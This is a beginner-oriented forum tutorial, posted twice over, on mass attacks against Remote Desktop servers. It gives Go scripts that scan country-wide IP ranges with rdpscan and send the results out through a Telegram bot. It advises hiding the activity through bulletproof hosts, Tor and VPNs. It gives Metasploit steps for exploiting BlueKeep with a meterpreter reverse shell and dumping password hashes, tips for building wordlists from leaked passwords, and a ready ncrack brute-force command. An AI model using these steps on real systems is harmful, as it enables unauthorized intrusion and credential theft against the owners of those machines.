No Proprietary Software!
Everything is explained so simply that even an absolute beginner will understand it the first time!
RDP (Remote Desktop Protocol) is a protocol developed by Microsoft. It allows a user to connect to a remote computer over a network and control it as if they were physically present at the machine.
Simply put, it's like a computer running Windows, but on a remote machine.
A brute-force attack, in turn, is a method of guessing login and password combinations. It exploits the common use of identical or weak passwords by different people.
In simple terms, it's when people struggle to create strong passwords, and bad actors take advantage of that.
Devices connected to the network have serial numbers called IP addresses. Each address has slightly more than 65,000 ports. An easy analogy: if the world is a huge planet of shopping malls, IP addresses are the addresses of the malls, and ports are the specific stores inside them. For RDP, the standard port is 3389.
Just like on this planet, there are territories and their sovereigns in the network. Everyone can choose theirs based on the top-level domain (TLD) country boundaries.
Once you’ve made your choice, convert TLDs to IP addresses using data from repositories like RIR-IP by country.
Port scanning is step number two.
Masscan instantly detects open ports, but there are nuances. Ports can be in two states: open or closed. However, they can also be open without an active RDP service.
Masscan is indeed fast at discovering open ports, but the vast majority either don’t have an RDP service running or are blocked by a firewall. In short, such hosts are completely useless for the task, which only becomes clear after checking with nmap. And nmap, in turn, takes time.
Thus, the combination of masscan + nmap (or another service detector) can be used, but I found a much more interesting option.
GitHub, the moon of my life, offers a solution that I use:
GitHub - robertdavidgraham/rdpscan: A quick scanner for the CVE-2019-0708 "BlueKeep" vulnerability.
It’s actually a scanner for a specific vulnerability, CVE-2019-0708, known as BlueKeep. Surprisingly, despite its age, hosts with this vulnerability still show up in results. I’ll talk later about how to handle such hosts.
The important thing here is that with this code, you can identify addresses with an active RDP service.
Let’s look at the program’s documentation from the repository. It accepts a range of IP addresses and provides logs for each address, which can be in one of several states:
Clone the repository. To build the executable file, run the make command in the program folder. You might need to install additional packages. If errors occur, simply copy them and send them to ChatGPT for troubleshooting.
Sometimes the program’s workflow needs fine-tuning. For example, if it doesn’t work with text files, you can write a small script in any programming language—Python, Bash, Go.
The program works with IP address ranges. During the collection stage, we end up with a text file. A bit of automation: the program reads data from the file line by line, and the script also saves the program’s output to another file. You can achieve similar behavior by simply redirecting the output stream using >> res.txt on Linux machines in the terminal.
Code:
Pay attention to the line:
By increasing the number (the third argument), you boost the program’s performance. This parameter controls the number of concurrently running goroutines. The value 350 is relatively small, but the program runs fast enough with it for a simple port scanner since the actual brute-force attack will take more time.
At this stage, it’s recommended to run everything on a remote machine. The problem with anonymity is that it’s not abstract—everything on the network is literally physical devices. So, is anonymity even possible? Or maybe Stolyarov isn’t that crazy—he just took it too personally?
Where to find abuse-resistant servers—as we say—or bulletproof servers, as they call them?
You take any Ubuntu Server, set up VNC on it (it’s like RDP for Windows), and open access from all IPs with login and password authentication, making sure to keep logs. Check the logs twice a day. Verify IPs at https://whatismyipaddress.com/.
You’re not interested in every address—just the ones attempting to guess login credentials, essentially trying to hack in. Check those IPs on the same site and Google the ISP—congratulations, you’ve found a bulletproof host!
But what if you don’t trust the server? Backup.
This code solves the following task—saving results and backing them up using a Telegram bot. The compiled rdpscan file should be in the same folder as the main.go script.
Code:
To do this, you need to create a Telegram bot and obtain the chat ID. You can find instructions, for example, here:
Create a Telegram Bot and Obtain the Chat ID - Step-by-Step Guide - YouTube.
At specific intervals (with a set time period), the code creates (or overwrites) an archive containing the program’s text log and the addresses that have already been checked. After that, the archive is sent as a message to the bot. The code synchronizes access to critical sections using mutexes.
Parameters to configure:
Code:
The generated log file can be processed with a script that divides hosts into two categories:
The script should be run in the folder where the output.txt file is located. After execution, the script will create two files:
Code:
Speaking from practice - having taken 20 IP-ranges, we managed to find a little more than a thousand hundred hosts for brute force, and one host with BlueKeep. The check took several hours.
About hiding work on VPS. You can use TOR and VPN. For example, the verification script works fine with torify running on top, which provides Tor traffic. In general, traffic can be routed through a VPN, but this is theoretical. Just bruteforce type activity can trigger an ISP, and heavy traffic on a VPN may not be as suspicious. Of course, bruteforce is generally a large amount of traffic, but globally VPNs are not very suspicious, many product IT companies use VPNs for employees for security purposes. Tor traffic is perhaps more suspicious, but you do remember that all servers are physical computers, right?
Don't forget to use the nohup command, otherwise running scripts will stop running as soon as the SSH session ends.
Well, let's deal with the hosts under CVE-2019-0708 first. First of all, this is an old vulnerability, and it's possible that hosts can act as hanipots. But still, in a few words, this is a tricky buffer overflow type vulnerability, and quite a lot of material has been written about it. I want to answer the question of how exactly to exploit it.
By checking the number of hosts in Shodan, you can use vuln:cve-2019-0708. By scanning the entire network, more hosts will be found than Shodan will show!
Let's use Metasploit. Install and run it with the msfconsole command. Select the exploit with the command use exploit/windows/rdp/cve_2019_0708_bluekeep_rce, set RHOST as the IP address where the scanner detected the vulnerability: set RHOSTS 127.0.0.1. Enter the command set PAYLOAD windows/x64/meterpreter/reverse_tcp as the pAYLOAD. Set LHOST to the IP address of the exploited machine: set LHOST. Next, enter the exploit command. If everything is successful (although this is not always the case), we get the meterpreter session. Then extract the hashes with the hashdump command. After that we remove them with Hashcat or John the Ripper and get the creds to connect. Here is a good demonstration: BlueKeep RDP Vulnerability CVE-2019-0708 Exploit in Metasploit - Video 2021 with InfoSec Pat.
The next step is to collect databases of passwords and logins. I would not recommend using databases that, for example, lack special characters and capital letters, such as this one: https://github.com/jeanphorn/wordlis...p_passlist.txt. In my opinion, a good repository is https://github.com/danielmiessler/Se...ster/Passwords. Here you can also find good logins: https://github.com/danielmiessler/Se...ster/Usernames. In addition, the database can be compiled from previously leaked passwords of other themed sites, accesses or logs.
Having downloaded several files, combine them using a script, leaving only unique strings of at least 4 characters in length and randomizing them additionally.
Code:
The final step is to run bruteforce. I suggest using the ncrack utility. I haven't made a comparison, but I read an article in which ncrack surpassed Hydra and Medusa in RDP bruteforcing speed.
Command: ncrack -v -f -f -CL -U usernames.txt -P passwords.txt -iL targets.txt -p 3389 -oN results.txt
The -f flag will stop the check at the first successful result found. The results will be written to a text file. After a couple of days you can check it. It is also recommended to experiment with the `-T` parameters.
Bye! Bye!
Everything is explained so simply that even an absolute beginner will understand it the first time!
RDP (Remote Desktop Protocol) is a protocol developed by Microsoft. It allows a user to connect to a remote computer over a network and control it as if they were physically present at the machine.
Simply put, it's like a computer running Windows, but on a remote machine.
A brute-force attack, in turn, is a method of guessing login and password combinations. It exploits the common use of identical or weak passwords by different people.
In simple terms, it's when people struggle to create strong passwords, and bad actors take advantage of that.
Devices connected to the network have serial numbers called IP addresses. Each address has slightly more than 65,000 ports. An easy analogy: if the world is a huge planet of shopping malls, IP addresses are the addresses of the malls, and ports are the specific stores inside them. For RDP, the standard port is 3389.
Just like on this planet, there are territories and their sovereigns in the network. Everyone can choose theirs based on the top-level domain (TLD) country boundaries.
Once you’ve made your choice, convert TLDs to IP addresses using data from repositories like RIR-IP by country.
Port scanning is step number two.
Masscan instantly detects open ports, but there are nuances. Ports can be in two states: open or closed. However, they can also be open without an active RDP service.
Masscan is indeed fast at discovering open ports, but the vast majority either don’t have an RDP service running or are blocked by a firewall. In short, such hosts are completely useless for the task, which only becomes clear after checking with nmap. And nmap, in turn, takes time.
Thus, the combination of masscan + nmap (or another service detector) can be used, but I found a much more interesting option.
GitHub, the moon of my life, offers a solution that I use:
GitHub - robertdavidgraham/rdpscan: A quick scanner for the CVE-2019-0708 "BlueKeep" vulnerability.
It’s actually a scanner for a specific vulnerability, CVE-2019-0708, known as BlueKeep. Surprisingly, despite its age, hosts with this vulnerability still show up in results. I’ll talk later about how to handle such hosts.
The important thing here is that with this code, you can identify addresses with an active RDP service.
Let’s look at the program’s documentation from the repository. It accepts a range of IP addresses and provides logs for each address, which can be in one of several states:
- UNKNOWN — we don’t work with these addresses.
- VULNERABLE — hosts with the CVE-2019-0708 vulnerability. We save these; we’ll discuss them later.
- SAFE — the host is not vulnerable to BlueKeep but may still be suitable for further brute-force attacks if marked as SAFE or SAFE - CredSSP/NLA.
- SAFE - not RDP — obviously unsuitable for brute-force attacks.
Clone the repository. To build the executable file, run the make command in the program folder. You might need to install additional packages. If errors occur, simply copy them and send them to ChatGPT for troubleshooting.
Sometimes the program’s workflow needs fine-tuning. For example, if it doesn’t work with text files, you can write a small script in any programming language—Python, Bash, Go.
The program works with IP address ranges. During the collection stage, we end up with a text file. A bit of automation: the program reads data from the file line by line, and the script also saves the program’s output to another file. You can achieve similar behavior by simply redirecting the output stream using >> res.txt on Linux machines in the terminal.
Code:
package main
import (
"bufio"
"fmt"
"os"
"os/exec"
"strings"
)
func main() {
file, err := os.Open("ip.txt")
if err != nil {
fmt.Println("Error when opening a file:", err)
return
}
defer file.Close()
outputFile, err := os.OpenFile("output.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
fmt.Println("Error when opening a file output.txt:", err)
return
}
defer outputFile.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
ip := scanner.Text()
if strings.TrimSpace(ip) == "" {
continue
}
cmd := exec.Command("./rdpscan", "--workers", "350", ip)
cmd.Stdout = outputFile
cmd.Stderr = os.Stderr
err := cmd.Run()
if err != nil {
fmt.Println("Error during command execution:", err)
} else {
fmt.Printf("The command for IP %s has been successfully executed\n", ip)
}
}
if err := scanner.Err(); err != nil {
fmt.Println("Error while reading a file:", err)
}
}Pay attention to the line:
cmd := exec.Command("./rdpscan", "--workers", "350", ip)
By increasing the number (the third argument), you boost the program’s performance. This parameter controls the number of concurrently running goroutines. The value 350 is relatively small, but the program runs fast enough with it for a simple port scanner since the actual brute-force attack will take more time.
At this stage, it’s recommended to run everything on a remote machine. The problem with anonymity is that it’s not abstract—everything on the network is literally physical devices. So, is anonymity even possible? Or maybe Stolyarov isn’t that crazy—he just took it too personally?
Where to find abuse-resistant servers—as we say—or bulletproof servers, as they call them?
You take any Ubuntu Server, set up VNC on it (it’s like RDP for Windows), and open access from all IPs with login and password authentication, making sure to keep logs. Check the logs twice a day. Verify IPs at https://whatismyipaddress.com/.
You’re not interested in every address—just the ones attempting to guess login credentials, essentially trying to hack in. Check those IPs on the same site and Google the ISP—congratulations, you’ve found a bulletproof host!
But what if you don’t trust the server? Backup.
This code solves the following task—saving results and backing them up using a Telegram bot. The compiled rdpscan file should be in the same folder as the main.go script.
Code:
package main
import (
"archive/zip"
"bufio"
"fmt"
"io"
"os"
"os/exec"
"path/filepath"
"strings"
"sync"
"time"
"bytes"
"mime/multipart"
"net/http"
)
var outputMutex sync.Mutex
var checkedMutex sync.Mutex
func archiveFiles(outputPath string, files []string) error {
archive, err := os.Create(outputPath)
if err != nil {
return fmt.Errorf("error when creating an archive: %v", err)
}
defer archive.Close()
zipWriter := zip.NewWriter(archive)
defer zipWriter.Close()
for _, file := range files {
fileToZip, err := os.Open(file)
if err != nil {
return fmt.Errorf("file opening error %s: %v", file, err)
}
defer fileToZip.Close()
info, err := fileToZip.Stat()
if err != nil {
return fmt.Errorf("file information retrieval error %s: %v", file, err)
}
header, err := zip.FileInfoHeader(info)
if err != nil {
return fmt.Errorf("error when creating a file header %s: %v", file, err)
}
header.Name = filepath.Base(file)
header.Method = zip.Deflate
writer, err := zipWriter.CreateHeader(header)
if err != nil {
return fmt.Errorf("error when creating a record in the archive: %v", err)
}
_, err = io.Copy(writer, fileToZip)
if err != nil {
return fmt.Errorf("error when copying file %s to the archive: %v", file, err)
}
}
return nil
}
func sendToTelegram() error {
telegramToken := "" // There's a token
chatID := int64() // chat id
filePath := "archive.zip"
file, err := os.Open(filePath)
if err != nil {
return fmt.Errorf("file opening error %s: %v", filePath, err)
}
defer file.Close()
var buf bytes.Buffer
writer := multipart.NewWriter(&buf)
part, err := writer.CreateFormFile("document", filePath)
if err != nil {
return fmt.Errorf("error when creating multipart form: %v", err)
}
_, err = io.Copy(part, file)
if err != nil {
return fmt.Errorf("error when copying a file to a form: %v", err)
}
writer.WriteField("chat_id", fmt.Sprintf("%d", chatID))
err = writer.Close()
if err != nil {
return fmt.Errorf("closing error writer: %v", err)
}
url := fmt.Sprintf("https://api.telegram.org/bot%s/sendDocument", telegramToken)
req, err := http.NewRequest("POST", url, &buf)
if err != nil {
return fmt.Errorf("error when creating an HTTP request: %v", err)
}
req.Header.Set("Content-Type", writer.FormDataContentType())
client := &http.Client{
Timeout: 30 * time.Second,
}
resp, err := client.Do(req)
if err != nil {
return fmt.Errorf("error when sending the request: %v", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return fmt.Errorf("failed to send the document, status: %s", resp.Status)
}
fmt.Println("The archive was successfully sent to Telegram")
return nil
}
func periodicTask(intervalMinutes int, files []string, archivePath string) {
for {
err := archiveFiles(archivePath, files)
if err != nil {
fmt.Printf("Error when creating an archive: %v\n", err)
} else {
fmt.Println("The archive was successfully created")
err = sendToTelegram()
if err != nil {
fmt.Printf("Error when sending an archive: %v\n", err)
} else {
fmt.Println("The archive has been successfully sent.”)
}
}
time.Sleep(time.Duration(intervalMinutes) * time.Minute)
}
}
func processIPs() {
file, err := os.Open("ip.txt")
if err != nil {
fmt.Println("Error when opening a file:", err)
return
}
defer file.Close()
outputFile, err := os.OpenFile("output.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
fmt.Println("Error when opening a file output.txt:", err)
return
}
defer outputFile.Close()
checkedFile, err := os.OpenFile("checked.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
fmt.Println("Error when opening a file checked.txt:", err)
return
}
defer checkedFile.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
ip := scanner.Text()
if strings.TrimSpace(ip) == "" {
continue
}
cmd := exec.Command("./rdpscan", "--workers", "350", ip)
outputMutex.Lock()
cmd.Stdout = outputFile
cmd.Stderr = os.Stderr
err := cmd.Run()
outputMutex.Unlock()
if err != nil {
fmt.Println("Error during command execution:", err)
} else {
fmt.Printf("The command for IP %s has been successfully executed\n", ip)
checkedMutex.Lock()
_, err := checkedFile.WriteString(ip + "\n")
checkedMutex.Unlock()
if err != nil {
fmt.Println("Error writing IP to checked.txt:", err)
}
}
}
if err := scanner.Err(); err != nil {
fmt.Println("Error when reading a file:", err)
}
}
func main() {
archivePath := "archive.zip"
files := []string{"output.txt", "checked.txt"}
intervalMinutes := 60
go periodicTask(intervalMinutes, files, archivePath)
processIPs()
}To do this, you need to create a Telegram bot and obtain the chat ID. You can find instructions, for example, here:
Create a Telegram Bot and Obtain the Chat ID - Step-by-Step Guide - YouTube.
At specific intervals (with a set time period), the code creates (or overwrites) an archive containing the program’s text log and the addresses that have already been checked. After that, the archive is sent as a message to the bot. The code synchronizes access to critical sections using mutexes.
Parameters to configure:
- telegramToken — the token for your bot.
- chatID — the chat ID for sending messages.
- intervalMinutes — the time interval, set by default to 60 minutes (can be changed).
Code:
package main
import (
"bytes"
"encoding/json"
"fmt"
"io/ioutil"
"net/http"
"time"
)
const (
telegramToken = ""
)
type Update struct {
UpdateID int `json:"update_id"`
Message struct {
Text string `json:"text"`
Chat struct {
ID int64 `json:"id"`
} `json:"chat"`
} `json:"message"`
}
func handleMessage(chatID int64, text string) {
fmt.Printf("Получено сообщение от %d: %s\n", chatID, text)
sendMessage(chatID, "Your message has been received: "+text)
}
func sendMessage(chatID int64, text string) {
url := fmt.Sprintf("https://api.telegram.org/bot%s/sendMessage", telegramToken)
payload := map[string]interface{}{
"chat_id": chatID,
"text": text,
}
body, err := json.Marshal(payload)
if err != nil {
fmt.Println("Serialization error payload:", err)
return
}
client := &http.Client{
Timeout: 30 * time.Second,
}
resp, err := client.Post(url, "application/json", bytes.NewBuffer(body))
if err != nil {
fmt.Println("Error when sending a message:", err)
return
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
fmt.Println("Error when sending a message, status:", resp.Status)
} else {
fmt.Println("Message successfully sent")
}
}
func main() {
lastUpdateID := 0
client := &http.Client{
Timeout: 30 * time.Second,
}
for {
url := fmt.Sprintf("https://api.telegram.org/bot%s/getUpdates?offset=%d", telegramToken, lastUpdateID+1)
resp, err := client.Get(url)
if err != nil {
fmt.Println("Error when receiving updates:", err)
continue
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
fmt.Printf("Error when receiving updates: status %s\n", resp.Status)
continue
}
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Println("Error reading the response:", err)
continue
}
var updates struct {
Result []Update `json:"result"`
}
err = json.Unmarshal(body, &updates)
if err != nil {
fmt.Println("Error when parsing a response:", err)
continue
}
for _, update := range updates.Result {
handleMessage(update.Message.Chat.ID, update.Message.Text)
lastUpdateID = update.UpdateID
}
}
}The generated log file can be processed with a script that divides hosts into two categories:
- Hosts with vulnerabilities
- Hosts for brute-forcing
The script should be run in the folder where the output.txt file is located. After execution, the script will create two files:
- forBruteIp.txt — a list of hosts for brute-forcing
- BlueKeep.txt — a list of hosts with the BlueKeep vulnerability
Code:
package main
import (
"bufio"
"fmt"
"os"
"regexp"
"strings"
)
func main() {
inputFileName := "output.txt"
safeOutputFileName := "forBruteIp.txt"
vulnerableOutputFileName := "BlueKeep.txt"
inputFile, err := os.Open(inputFileName)
if err != nil {
fmt.Printf("Error when opening a file%s: %v\n", inputFileName, err)
return
}
defer inputFile.Close()
safeFile, err := os.OpenFile(safeOutputFileName, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
fmt.Printf("Error when opening a file %s: %v\n", safeOutputFileName, err)
return
}
defer safeFile.Close()
vulnerableFile, err := os.OpenFile(vulnerableOutputFileName, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
fmt.Printf("Error when opening a file %s: %v\n", vulnerableOutputFileName, err)
return
}
defer vulnerableFile.Close()
safeWriter := bufio.NewWriter(safeFile)
defer safeWriter.Flush()
vulnerableWriter := bufio.NewWriter(vulnerableFile)
defer vulnerableWriter.Flush()
scanner := bufio.NewScanner(inputFile)
ipRegex := regexp.MustCompile(`\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b`)
for scanner.Scan() {
line := scanner.Text()
ip := ipRegex.FindString(line)
if ip == "" {
continue
}
if containsSafeKeywords(line) {
_, err := safeWriter.WriteString(ip + "\n")
if err != nil {
fmt.Printf("Error when writing a line to a file SAFE: %v\n", err)
return
}
} else if containsVulnerableKeywords(line) {
_, err := vulnerableWriter.WriteString(ip + "\n")
if err != nil {
fmt.Printf("Error when reading a file VULNERABLE: %v\n", err)
return
}
}
}
if err := scanner.Err(); err != nil {
fmt.Printf("Error when reading a file %s: %v\n", inputFileName, err)
}
}
func containsSafeKeywords(line string) bool {
return strings.Contains(line, "SAFE - CredSSP") || strings.Contains(line, "SAFE - Target")
}
func containsVulnerableKeywords(line string) bool {
return strings.Contains(line, "VULNERABLE")
}Speaking from practice - having taken 20 IP-ranges, we managed to find a little more than a thousand hundred hosts for brute force, and one host with BlueKeep. The check took several hours.
About hiding work on VPS. You can use TOR and VPN. For example, the verification script works fine with torify running on top, which provides Tor traffic. In general, traffic can be routed through a VPN, but this is theoretical. Just bruteforce type activity can trigger an ISP, and heavy traffic on a VPN may not be as suspicious. Of course, bruteforce is generally a large amount of traffic, but globally VPNs are not very suspicious, many product IT companies use VPNs for employees for security purposes. Tor traffic is perhaps more suspicious, but you do remember that all servers are physical computers, right?
Don't forget to use the nohup command, otherwise running scripts will stop running as soon as the SSH session ends.
Well, let's deal with the hosts under CVE-2019-0708 first. First of all, this is an old vulnerability, and it's possible that hosts can act as hanipots. But still, in a few words, this is a tricky buffer overflow type vulnerability, and quite a lot of material has been written about it. I want to answer the question of how exactly to exploit it.
By checking the number of hosts in Shodan, you can use vuln:cve-2019-0708. By scanning the entire network, more hosts will be found than Shodan will show!
Let's use Metasploit. Install and run it with the msfconsole command. Select the exploit with the command use exploit/windows/rdp/cve_2019_0708_bluekeep_rce, set RHOST as the IP address where the scanner detected the vulnerability: set RHOSTS 127.0.0.1. Enter the command set PAYLOAD windows/x64/meterpreter/reverse_tcp as the pAYLOAD. Set LHOST to the IP address of the exploited machine: set LHOST. Next, enter the exploit command. If everything is successful (although this is not always the case), we get the meterpreter session. Then extract the hashes with the hashdump command. After that we remove them with Hashcat or John the Ripper and get the creds to connect. Here is a good demonstration: BlueKeep RDP Vulnerability CVE-2019-0708 Exploit in Metasploit - Video 2021 with InfoSec Pat.
The next step is to collect databases of passwords and logins. I would not recommend using databases that, for example, lack special characters and capital letters, such as this one: https://github.com/jeanphorn/wordlis...p_passlist.txt. In my opinion, a good repository is https://github.com/danielmiessler/Se...ster/Passwords. Here you can also find good logins: https://github.com/danielmiessler/Se...ster/Usernames. In addition, the database can be compiled from previously leaked passwords of other themed sites, accesses or logs.
Having downloaded several files, combine them using a script, leaving only unique strings of at least 4 characters in length and randomizing them additionally.
Code:
package main
import (
"bufio"
"math/rand"
"os"
"path/filepath"
"strings"
"time"
)
func main() {
rand.Seed(time.Now().UnixNano())
uniqueLines := make(map[string]struct{})
files, err := filepath.Glob("*.txt")
if err != nil {
panic(err)
}
for _, file := range files {
f, err := os.Open(file)
if err != nil {
panic(err)
}
defer f.Close()
scanner := bufio.NewScanner(f)
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if len(line) > 4 {
uniqueLines[line] = struct{}{}
}
}
if err := scanner.Err(); err != nil {
panic(err)
}
}
lines := make([]string, 0, len(uniqueLines))
for line := range uniqueLines {
lines = append(lines, line)
}
rand.Shuffle(len(lines), func(i, j int) { lines[i], lines[j] = lines[j], lines[i] })
outputFile, err := os.Create("result.txt")
if err != nil {
panic(err)
}
defer outputFile.Close()
writer := bufio.NewWriter(outputFile)
for _, line := range lines {
writer.WriteString(line + "\n")
}
if err := writer.Flush(); err != nil {
panic(err)
}
println("The processing is complete. The result is written to the file result.txt")
}The final step is to run bruteforce. I suggest using the ncrack utility. I haven't made a comparison, but I read an article in which ncrack surpassed Hydra and Medusa in RDP bruteforcing speed.
Command: ncrack -v -f -f -CL -U usernames.txt -P passwords.txt -iL targets.txt -p 3389 -oN results.txt
The -f flag will stop the check at the first successful result found. The results will be written to a text file. After a couple of days you can check it. It is also recommended to experiment with the `-T` parameters.
Bye! Bye!